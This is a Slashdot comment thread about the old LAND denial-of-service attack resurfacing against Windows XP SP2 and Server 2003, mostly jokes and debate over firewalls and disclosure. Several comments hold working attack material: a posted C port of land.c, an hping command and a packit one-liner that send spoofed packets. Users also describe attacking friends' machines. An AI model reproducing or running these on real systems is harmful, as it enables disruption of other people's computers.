    13. Re:Turn off the firewall? by prisoner-of-enigma · · Score: 1

      While it has been mildly entertaining watching you do a fantastic rendition of a broken record, I'm tiring of your constant display of an inability to grasp reality. Thus, I'm tuning you out. I'll find others elsewhere who are actually capable of independent, engaging thought with which to spend my debate time.

      --
      In the end they will lay their freedom at our feet and say to us, Make us your slaves, but feed us. - Fyodor Dostoyevsky
  77. Re:Debian 'sploit by c0l0 · · Score: 1

    One more who's actually read MSFT's "A parent's primer to computer slang". This is the first time I encounter the usage of "'sploits" in real life.

    Therefore, definitely a valueable comment of yours - thank you. Just a pity there's no "z" in it :/

    --
    :%s/Open Source/Free Software/g

    YTARY!
  78. Mod parent up! by Anonymous Coward · · Score: 0

    He makes a point which undermines the microshilling of the grandparent post.

  79. Ho hum by mogrify · · Score: 2, Informative

    I hit a Windows XP SP1 box with this to no effect. I had to make some changes to even compile it (http://mixter.void.ru/glibc.txt). But the test box didn't blink.

    --
    perl -e 'foreach(values %SIG){$_="IGNORE";}while(){}'
    1. Re:Ho hum by Anonymous Coward · · Score: 0

      It only works on unfirewalled ports that are being listened on. Try again with this criteria.

    2. Re:Ho hum by Afty · · Score: 1

      Same for me. Didn't work on either of my XP Pro SP2 boxes. I used port 135, which is open on both. No firewall either.

  80. It's not good enough by LemonFire · · Score: 2, Insightful

    Many corporate networks only protect the connection between the Internet and the LAN, and it only takes one sales guy to bring in a breached laptop to topple this type of security. I've seen this happen quite often.

    -- I bought this SIG on ebay.

    1. Re:It's not good enough by aminorex · · Score: 1

      And that's why the notion of a corporate intranet safe zone, cordoned off from the Internet ruffians, is a fools quest to achieve. The correct way to secure sensitive data and services is to put a tight little impenetrable safety wrapper around the high-value target. Military strategists have understood this for millenia.

      --
      -I like my women like I like my tea: green-
  81. Security Patch by Anonymous Coward · · Score: 0

    if((source_ip == dest_ip) && (source_port == dest_port))
    {
    break;
    }

    Am I missing something, or could Microsoft fix this glitch with pretty much the above code?

    Btw Microsoft.. the above code is patent pending, so you better send me a check before using such complex algorithms :-p

  82. Solaris 2.5.1? Yes, it's still about. by hot_Karls_bad_cavern · · Score: 4, Interesting

    Believe it or not, some folks still use Solaris 2.5 and 2.6 versions. I used to work at a university whose physics department was fortunate enough to have two electron scanning microscopes, one old and huge and one new, smaller one. The old one had controlling software that was custom, to say the least, and written by a German firm that's been out of business for a few years now.

    Guess what OS the software ran on? And what hardware connections were custom to the old Sparc-based controller the ran the thing? Wohoo! Old Solaris was the only way it'd still 'go'.

    Well, sneaker-net wasn't going to work for the grads that were abroad and well, the profs wanted network access, so they were going to get it. Short of the long, we had to build, tweak and mess with all kinds of junk (tcpwrappers, ssh, ssl) before it went back on the network (yes, that donkey had been hacked before). So yes, there's lots of old Solaris still out there.

    And before anyone asks, yes I finally quit that job due to *not* being able to secure things like this. Authenticating gateways, openvpn, pf on Solaris (boss would *never* let me put that on all the machines we cared for ... unbelievable really), moving *away* from Sendmail, installing Solaris machines with everything locked down, etc, etc). Drove me fucking mad.

    1. Re:Solaris 2.5.1? Yes, it's still about. by macdaddy · · Score: 1

      Moving *away* from Sendmail? Yes, you are fucking mad.

    2. Re:Solaris 2.5.1? Yes, it's still about. by blrichwine · · Score: 1

      Sounds like a $40 Linksys box would'a been a fine fix and wouldn't have had to quit the job. A cheep hardware cable router/firewall saves a lot of headaches and is money ahead in many cases!

    3. Re:Solaris 2.5.1? Yes, it's still about. by joto · · Score: 1
      Short of the long, we had to build, tweak and mess with all kinds of junk (tcpwrappers, ssh, ssl) before it went back on the network (yes, that donkey had been hacked before). So yes, there's lots of old Solaris still out there.

      So why not simply put it on a private net, accessible only via ssh on a separate, more secure host? And only give the people that need it, access to that host?

      If you have a *lab*, that's the way to go, in my opinion. You can't expect to put all kinds of weird equipment directly on the Internet, just because it happens to run on a general purpose computer.

      Lab equipment shouldn't be IT's problem, it should be the lab peoples problem. It should be maintained and run by them. If they want to network the computers in the lab, it's their problem. *You* provide infrastructure *to* the lab, which means a ssh connection from a trusted host, a range of private IP numbers to use, and a single ethernet entry-point.

      *They* provide switches, cabling, maintenance, etc... If the professors won't do it, there are grad students that do!

    4. Re:Solaris 2.5.1? Yes, it's still about. by hot_Karls_bad_cavern · · Score: 1

      Well, that was the point: i *knew* how to get everything secure and working, but wasn't allowed to make any changes ... even though i knew those changes were good for the client. So, off i went.

  83. BSD Source Code by lullabud · · Score: 1

    Thanks for the BSD source code link, it compiled with no problems and what do you know, it actually does choke up an XP SP 2 box for 15-20 seconds. I was a little skeptical when I read this, but wow, it's true, and although it doesn't cause BSOD or reboot anymore it would be quite an irritant.

  84. Re:"LAND" war in Asia ... (Extended OT) by echocharlie · · Score: 1

    Ah yes, the class Princess Bride. Here's the entire "Battle of Wits" scene:

    MAN IN BLACK: But if there can be no arrangement, then we are at an impasse.
    Vizzini: I'm afraid so -- I can't compete with you physically. And you're no match for my brains.
    MIB: You're that smart?
    V: Let me put it this way: have you ever heard of Plato, Aristotle, Socrates?
    MIB: Yes.
    V: Morons.
    MIB: Really? In that case, I challenge you to a battle of wits.
    V: For the Princess?
    MIB: [nods]
    V: To the death?
    MIB: [Another nod]
    V: I accept.
    MIB: Good. Then pour the wine.
    V: fills the goblets with the dark red liquid
    MIB: pulls a small packet from his clothing, handing it to Vizzini.
    MIB: Inhale this, but do not touch.
    V: I smell nothing.
    MIB: What you do not smell is called iocane powder. It is odorless, tasteless, dissolves instantly in liquid, and is among the more deadlier poisons known to man.
    V: Hmm.
    MIB: [takes the goblets, turns his back. A moment later, he turns again, faces Vizzini, drops the iocane packet. It is now empty.]
    MIB: [rotates the goblets in a little shell game maneuver then puts one glass in front of Vizzini, the other in front of himself.]
    MIB: All right: where is the poison? The battle of wits has begun. It ends when you decide and we both drink, and find out who is right and who is dead.
    V: But it's so simple. All I have to do is divine from what I know of you. Are you the sort of man who would put the poison into his own goblet, or his enemy's?
    V: Now, a clever man would put the poison into his own goblet, because he would know that only a great fool would reach for what he was given. I'm not a great fool, so I can clearly not choose the wine in front of you. But you must have known I was not a great fool; you would have counted on it, so I can clearly not choose the wine in front of me.
    MIB: You've made your decision then?
    V: Not remotely. Because iocane comes from Australia, as everyone knows. And Australia is entirely peopled with criminals. And criminals are used to having people not trust them, as you are not trusted by me. So I can clearly not choose the wine in front of you.
    MIB: Truly, you have a dizzying intellect.
    V: Wait till I get going! Where was I?
    MIB: Australia.
    V: Yes -- Australia, and you must have suspected I would have known the powder's origin, so I can clearly not choose the wine in front of me.
    MIB: [very nervous] You're just stalling now.
    V: [cackling] You'd like to think that, wouldn't you? You've beaten my giant, which means you're exceptionally strong. So, you could have put the poison in your own goblet, trusting on your strength to save you. So I can clearly not choose the wine in front of you. But, you've also bested my Spaniard which means you must have studied. And in studying, you must have learned that man is mortal so you would have put the poison as far from yourself as possible, so I can clearly not choose the wine in front of me.
    MIB: You're trying to trick me into giving away something; it won't work.
    V: [triumphant] It has worked -- you've given everything away -- I know where the poison is.
    MIB: [fool's courage] Then make your choice.
    V: I will. And I choose -- [And suddenly he stops, points at something behind the MIB].
    V: -- what in the world can that be?
    MIB: What? Where? I don't see anything.
    V: [switches the goblets while MIB's head is turned].
    V: Oh, well, I-I could have sworn I saw something. No matter.
    MIB: [turns to face him again]
    V: [starts to laugh]
    MIB: What's so funny?
    V: I'll tell you in a minute. First, let's drink -- me from my glass, and you from yours.
    MIB: Yo

  85. Firewall need not be disable by northcat · · Score: 2, Insightful

    It doesn't need the firewall to be disabled. It just needs an open port. Many machines have some ports open for things like p2p. The summary should either not mention this at all or mention this in its entirity. Just saying that the firewall needs to be disabled is misleading (at least for some/most people).

    1. Re:Firewall need not be disable by northcat · · Score: 1

      And therefore most servers running windows 2003(or windows xp) WILL be vulnerable. (sorry, forgot to mention that in the parent)

  86. Reminds me of that old joke by benhocking · · Score: 1

    Two guys are out hiking and they see a bear. One guy starts running and the other yells after him, "Hey, you can't outrun a bear!" He replies, "I don't have to - I only have to outrun you!"

    Same logic applies here. You don't have to be perfectly secure (although that'd be nice, no doubt). You just have to be secure enough that others look like much better targets.

    --
    Ben Hocking
    Need a professional organizer?
    1. Re:Reminds me of that old joke by PReDiToR · · Score: 1

      People who laughed at this joke also laughed at:

      The Halfling/Dragon t-shirt from ThinkGeek.com.

      Check out the Slashdot shirts. I have a couple; you get the strangest looks from lusers =)

      --

      Do not meddle in the affairs of geeks for they are subtle and quick to anger
  87. Linux version of the exploit by duncanthrax · · Score: 3, Interesting

    Yes, it actually works on SP2. Fire up Task Manager and watch CPU load reach 100% for ~10 seconds for a single packet.

    Here's the code that should compile on Linux.

  88. Surely it should be by Anonymous Coward · · Score: 0

    "Never go up against a Scicillian when DOS is on the line!"

  89. Nuclear reactor vulnerabilities by Anonymous Coward · · Score: 0

    Nuclear reactors are vulnerable to overheating which can result in a catastrophic explosion. Granted, you need to have the safety systems turned off for this to work, but the guys at Chernobyl didn't have them turned on.

    News value: 0.
    Quality of argument: 0.
    Overall value: 0.

  90. Re:I know its been around, but...Linking to source by phayes · · Score: 1

    The source of this attack has been globally available for ouver 8 years, you twit. How exactly would not re-linking the C exploit be helpful? Even junior grade script kiddies know how to use google.

    --
    Democracy is a sheep and two wolves deciding what to have for lunch. Freedom is a well armed sheep contesting the issue
  91. Must... resist... urge... by trezor · · Score: 1

    I just feel I want to try this exploit so bad now.

    I'm this close to compiling and trying it out on one of my friends with WinXP :)

    But look on the bright side. Now RIAA wont have to send out cease & disist letters anymore. If the k1dd13s haven't done it allready, now all they need to do is one simple command line to get the content off-line :)

    --
    Not Buzzword 2.0 compliant. Please speak english.
  92. In other news... by GPLDAN · · Score: 2

    Windows users are vulnerable to Land Sharks.

    Knock knock.
    Who's there?
    Pizza man.
    I didn't order a pizza.
    (pause)
    Mailman.
    Today is Sunday, there is no mail.
    (pause)
    Doorman.
    Our building has no doorman.
    (pause)
    Travelling salesman.
    I don't want anything.
    (pause)
    Gumby.
    Oh, it's Gumby!
    (opens door)
    RARRRRRRR!!!!!

  93. Interesting points by lullabud · · Score: 1

    What you said about NAT is a good point, and something I just discovered while playing with this. NAT inherently defends against this attack because NAT only changes the destination address in the packet and not the source. This change breaks the premise of the attack. The other interesting point you made was that some SOHO routers are vulnerable. Assuming that the attack will be launched remotely, and assuming that most people left their SOHO router at default, there will be no open ports on the router itself, so despite being vulnerable to the attack the conditions don't exist for the router to be a target.

  94. I have an even better vulnerability by Anonymous Coward · · Score: 0

    An american computer geek has discovered that if you don't set an administrative password, your computer is vulnerable to root attacks.

    *gasp*

    I am sorry but I don't see how the fact that your windows computer, if you don't have a firewall between it and the world, is vulnerable to attack, is news. It's more like common sense...

    In fact, even if you install a firewall on your windows computer, it's still vulnerable to any number of dozens of attacks.

    l8,
    AC

    1. Re:I have an even better vulnerability by SillyNickName4me · · Score: 1

      An american computer geek has discovered that if you don't set an administrative password, your computer is vulnerable to root attacks.

      *gasp*

      I am sorry but I don't see how the fact that your windows computer, if you don't have a firewall between it and the world, is vulnerable to attack, is news. It's more like common sense...

      In fact, even if you install a firewall on your windows computer, it's still vulnerable to any number of dozens of attacks.


      Hmm.. you are almost there.. if you ake your second comment, and just start thinking about how to fix it...

      You see, a firewall is really important..

      but making sure your system is not vulnerable regardless of the firewall really works a lot better.
  95. DOES NOT WORK by Anonymous Coward · · Score: 0
    i did that and all i got was the following

    C:\WINDOWS>hping 192.168.2.236 -s 135 -p 135 -S -a 192.168.2.236
    HPING 192.168.2.236 (Intel(R) PRO/100 VE Network Connection - Packet Scheduler M
    iniport 192.168.2.236): S set, 40 headers + 0 data bytes
    [send_ip] sendto: 10004


    the machines both winXP and win2k3 server did not crash and the program bounced right back to the command line. these are wide open machines on a local switch.
  96. OS X code by INeededALogin · · Score: 1

    Haven't tried the code above, but I spent 5 minutes porting the linked code to OS X. It didn't take long and I am sure someone will compile it and be happy that their favorite OS can crash windows machines just as well as those Linux guys.

    Funny story, DOS attacks were my first motivation to try Linux. I wonder how many other people are the same(oh, how the years go by). Anyways, here is the code. And, for the record... it is too hard to post code on Slashdot... A million filters to work through:-(

    /* land.c by m3lt, FLC
    * crashes a win95 box
    *This is an OS X port
    *Save the code as land.c/g++ land.c -o land
    */
    #include <machine/types.h>
    #include <unistd.h>
    #include <string.h>
    #include <stdlib.h>
    #include <stdio.h>
    #include <netdb.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/if_ether.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip_var.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    #include <netinet/tcpip.h>

    struct pseudohdr
    {
    struct in_addr saddr;
    struct in_addr daddr;
    u_char zero;
    u_char protocol;
    u_short length;
    struct tcphdr tcpheader;
    };
    u_short checksum(u_short * data,u_short length)
    {
    register long value;
    u_short i;
    for(i=0;i<(length>>1);i++)
    value+=data[i];
    if((length&1)==1)
    value+=(data[i]<<8);
    value=(value&65535)+(value>>16);
    return(~value);
    }
    int main(int argc,char * * argv)
    {
    struct sockaddr_in sin;
    struct hostent * hoste;
    int sock;
    char buffer[40];
    struct ip * ipheader=(struct ip *) buffer;
    struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));
    struct pseudohdr pseudoheader;

    fprintf(stderr,"land.c by m3lt, FLC\n");

    if(argc<3)
    {
    fprintf(stderr,"usage: %s IP port\n",argv[0]);
    return(-1);
    }
    bzero(&sin,sizeof(struct sockaddr_in));
    sin.sin_family=AF_INET;

    if((hoste=gethostbyname(argv[1]))!=NULL)
    bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length) ;
    else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
    {
    fprintf(stderr,"unknown host %s\n",argv[1]);
    return(-1);
    }
    if((sin.sin_port=htons(atoi(argv[2])))==0)
    {
    fprintf(stderr,"unknown port %s\n",argv[2]);
    return(-1);
    }
    if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
    {
    fprintf(stderr,"couldn't allocate raw socket\n");
    return(-1);
    }
    bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));

    ipheader->ip_v=4;
    ipheader->ip_hl=sizeof(struct ip)/4;
    ipheader->ip_len=htons(sizeof(struct ip)+sizeof(struct tcphdr));
    ipheader->ip_id=htons(0xF1C);
    ipheader->ip_ttl=255;
    ipheader->ip_p=IPPROTO_TCP;

    ipheader->ip_src=(const in_addr &)sin.sin_addr.s_addr;
    ipheader->ip_dst=(const in_addr &)sin.sin_addr.s_addr;

    tcpheader->th_sport=sin.sin_port;
    tcpheader->th_dport=sin.sin_port;
    tcpheader->th_seq=htonl(0xF1C);
    tcpheader->th_flags=TH_SYN;
    tcpheader->th_off=sizeof(struct tcphdr)/4;
    tcpheader->th_win=htons(2048);
    bzero(&pseudoheader,12+sizeof(struct tcphdr));
    pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
    pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
    pseudoheader.protocol=6;
    pseudoheader.length=htons(sizeof(struct tcphdr));
    bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
    tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
    if(sendto(sock,buffer,

  97. So how long do you think it will be... by BrakesForElves · · Score: 1

    ...before some jerkoff exploits this totally avoidable vulnerability inside the payload of a virus or trojan horse? Imagine that: Some dumb corporate cluck innocently clicks on an email attachment, and ten seconds later every other PC on the corporate LAN's subnet suddenly goes apoplectic, and they all stay that way until the infected machine is detected and shut down. We all know something like this will eventually happen, now that the LAND cat is out of the bag (again).

    It gets worse: Suppose some nefarious bastard wanted to commit a crime and have plenty of getaway time. All he'd have to do is find a way to get a few key law enforcement machines trojaned, confirm their infections (with outbound pings or something), and then just time the LAND attack to correspond with the timing of the crime.

    Gosh, it's so exciting to live in a world with a huge, homogenous population of highly-vulnerable mission-critical platforms!

    --
    About the word "if": If bullfrogs had wings, they wouldn't bounce around on their little green butts.
  98. Old and well known fact by Anonymous Coward · · Score: 0
    for the "intelligent" ships

    I think this is exactly what grand-parent was referring to!.

  99. News for nerds, man by Anonymous Coward · · Score: 0

    I hate to break it to you, but C code is a valid form of communication at slashdot.

    It's not our problem if you are C illiterate. :)

  100. From the article... by Transcendent · · Score: 1

    Ethic:
    Microsoft was informed 7 days ago (25.02.2005, GMT +1, local time), NO answer received,
    so I decided to share this info with security community.


    Ethics?
    When Microsoft didn't respond, you decided to tell the rest of the world that you can DoS some WinXP or 2003 Machine with ease? How is that ethical?

    It can be analagous to someone saying "Hey, if you cut the red wire in [insert security system here] you can disable it and the cops won't come. [Insert security company] was informed and didn't respond in 7 days, so I decided to tell the rest of the world."

    1. Re:From the article... by Blakey+Rat · · Score: 1

      And it always makes me wonder how Microsoft was "informed." Did you call on the phone and escalate the issue until you reached somebody who definately could contact whatever developer was responsible for security in Windows XP SP2? Or did you just send it to feedback@microsoft.com and hope for the best?

      I always get the impression that these "white hate script kiddies" do the latter, and not the former, then they say "well I contacted them!"

      In any case, yes, what he did was entirely wrong. If, big *if*, he had contacted Microsoft in such a way that they *could* respond to the news, the next step should have been to contact an internet security firm and/or the Department of Homeland Security (who is responsible for disseminating such information in the US, where Microsoft is located.)

    2. Re:From the article... by Blakey+Rat · · Score: 1

      That was supposed to be "white HAT script kiddies." I'm not a racist, really...

    3. Re:From the article... by Anonymous Coward · · Score: 0

      Well... MS should have responded after 24 hours... that is what I expect (and what anybody should expect from a corp. of MS size)...
      If they don't... Well... Sink them !

    4. Re:From the article... by Anonymous Coward · · Score: 0

      Unfortunately that is not possible unless you are willing to pay them $35 or whatever it is for technical support.

  101. Hang 1 lantern in the old North Town by Anonymous Coward · · Score: 0

    2 if by SEA

  102. Hellen Keller fell in a well... by Anonymous Coward · · Score: 0

    and screamed her fingers off.

  103. How do I compile this? by TempEcho · · Score: 1

    I have a system with Windows XP and SP2 , and a hardware firewall. I am a complete newbie to compiling anything , so , my question is , how do I compile this .c file? I try'd Bloodshed Dev-C++ and GCC , but Bloodshed can't find the required .h files and gcc say's : "`IP_TCP' undeclared (first use in this function)".

    Can anyone help me?

    1. Re:How do I compile this? by Anonymous Coward · · Score: 0

      This may help u, it helped me... Re: Only Win ?

  104. The Retirement of the Yorktown by westlake · · Score: 1
    Here is a story about Windows and the Navy, Its a bit dated perhaps

    Perhaps more than a little bit dated.

    Yorktown was decommisioned in December 2004. The Yorktown was on active service in the Persian Gulf as late as the summer of '04. CG 48 Yorktown

    The Ronald Reagon, ninth (and last) of the Nimitz class carriers uses W2K based smart ship components developed by Microsoft Federal Systems.

  105. Sloppy Editors, Lazy Submitters by fm6 · · Score: 1

    If the LAND Attack is that notorious, you should be able to find a better description of it than a bit of badly-documented C code.

  106. How did MS... by Anonymous Coward · · Score: 0

    do that ??
    W2K sp4 and WXP sp1 seems to be unaffected by this attack...

  107. Ports 135, 139, & 445? Not quite. by Anonymous Coward · · Score: 0
    Check the ShieldsUP! test on the older versions of Windows and you get some interesting results on their open ports:

    Windows NT 4: Ports 135, 139, and typically one other port in the 1020s range. No 445 here.
    Windows 95: Just port 139. Nothing else.
    Windows 3.x: NO ports open. :)

    Ding ding ding! It looks like Windows 3.x is our winner! Guess we haven't really gone so far since the early 90s after all.

  108. ?Return port will it work? by Anonymous Coward · · Score: 0

    My best Ping of death fun to a firewall machine is get user visit my ping of death webserver. Ie the ping returns on the client call. If you nat is not filtering against bad TCP/IP it is by by windows machine.

    Yep ping of death requires a open port too this was not a problem if user creates it for me.

    (I do this with friends to find out if our firewalls live aganist so of these tricks)

    People learn verry quickly to have there windows machine behind some thing that cleans traffic.

  109. Re:wow [winhat] by Anonymous Coward · · Score: 0

    A house is a study of animal's structure.

    Cosmology is the long bone in the jungle.

    Yes you are! You are the moments that you cannot work where your work is likely to overlap with the community.

    He must have produced something valuable, but i don't know and maybe that's a problem. A house is a study of the opening of the solar system. It basically says that every system on the wrong side of the solar system. And it has nothing to do this mainly because their engineers got a call to finx one of r0cketgrls little thralls?

    You really are the fleshy edges of the things microsoft wants to do with the calf of the internet" that says that you cannot work where your work is likely to overlap with the community.

  110. One if by Land, by Anonymous Coward · · Score: 0

    Two if by C++

  111. WTFOMG!!! by Anonymous Coward · · Score: 0
    OH NOOS!!! A computer wide open to the internet, without a firewall, can be HAXX0rrd!?!?!

    BTW, is this really news? Last time I checked, there were tons of ways to wtfpwn *any* OS which wasnt protected by a firewall.

    That pain in your back is from reaching too hard...

  112. Report by CedgeS · · Score: 1

    I tried this against my girlfriend's computer with a wireless network connection. She has XP home SP2. With the firewall ON it caused 100% CPU usage during the attack, and loss of connection. Connection was restored after sending ^C to hping2. With the firewall OFF it caused 100% CPU usage during the attack, and loss of connection. CPU usage and connection were not restored for about a minute after the end of the attack. The included firewall with default settings is NOT a solution to this problem on XP Home SP2.

  113. Nice try, but no... by Svartalf · · Score: 1

    Case number three's function call getting an input from a user should probably applied something along the lines of case number one. In both of the prior cases, they actually DO something to actively avoid a division by zero- in three, you do NOTHING, but yet you could have either in the function or just before the division... i.e.

    c = b / (a == 0) ? 1 : a

    or something similar.

    --
    I am not merely a "consumer" or a "taxpayer". I am a Citizen of the State of Texas
  114. Microsoft testing by AaronW · · Score: 1

    Didn't SP2 make it impossible in Windows for an application to fill in an invalid source IP address? If this is the case, I wonder if this problem cropped up because Microsoft cannot generate the LAND attack with an up to date version of their OS.

    Also, I wonder what sort of vulnerabilities exist in Windows for IPv6?

    -Aaron

    --
    This post is encrypted twice with ROT-13. Documenting or attempting to crack this encryption is illegal.
  115. Now that's ... by IchBinEinPenguin · · Score: 2, Funny

    ... backwards-compatibility.

    Let's see OSS match this! A bug, almost a decade old, STILL SUPPORTED!

  116. Disable Windows XP firewall from command line by John_P_Scott · · Score: 1

    You can quickly disable the firewall from command via a netsh command.
    Disable:
    netsh firewall set opmode disable

    Enable:
    netsh firewall set opmode enable

  117. ZDnet Radio story from long long ago. by j0hn33y · · Score: 1

    http://www.ohiopike.com/NotMp3's/Ohio%20Posse%20-% 20Melt's%20a%20haqor%20-%20you%20landed%20my%20box .mp3

  118. Close, but no cigar. by Anonymous Coward · · Score: 0

    Close, but no cigar. Whether the host is routable or not has no bearing on the attack -- it need only have the same source and destination.

    Your rules will do you no good if the attacker chooses a nice routable address like, say, 66.94.230.36 or 66.35.250.151.

  119. Just doesn't work.... by CRC'99 · · Score: 1

    Well, after picking through the code, compiling, nmap'ing, and landing, I'm yet to notice what the hell it's supposed to do to WinXP... No firewall enabled, and ran it on an open port, and nothing happens...

    # nmap 10.1.1.2
    Starting nmap 3.48 ( http://www.insecure.org/nmap/ ) at 2005-03-08 17:26 EST
    Interesting ports on 10.1.1.2:
    (The 1654 ports scanned but not shown below are in state: closed)
    PORT STATE SERVICE
    135/tcp open msrpc
    445/tcp open microsoft-ds
    3389/tcp open ms-term-serv

    Nmap run completed -- 1 IP address (1 host up) scanned in 2.610 seconds
    # ./land 10.1.1.2 3389
    land.c by m3lt, FLC
    10.1.1.2:3389 landed
    #

    Wow. This must be one huge hole :\

    --
    Sendmail is like emacs: A nice operating system, but missing an editor and a MTA.
    1. Re:Just doesn't work.... by Anonymous Coward · · Score: 0

      same here, I've even put it to run in infinte loop landing one WinXP machine, but nothing happened

  120. packit - command line packet generator by kabeer · · Score: 1
    Turns out that you do not need all that 'c' code to get things going. You can execute the attack from the shell. The following assumes that you have 'packit' installed:
    shiv:~# packit -m inject -d <target_ip> -F S -s <target_ip> -S 135 -D 135 -c 20

    Above injects twenty such packets at intervals of 1 sec (can change interval by -w ) - enough to keep the target at 100% for sometime. Here's the good people at sourceforge:
    http://packit.sourceforge.net/
  121. Thanks for the heads up by PingPongBoy · · Score: 1

    I'll be able to make my case for doing all my work on a cruise ship.

    --
    Know your pads. One time pad: good for cryptography. Two timing pad: where to take your mistress.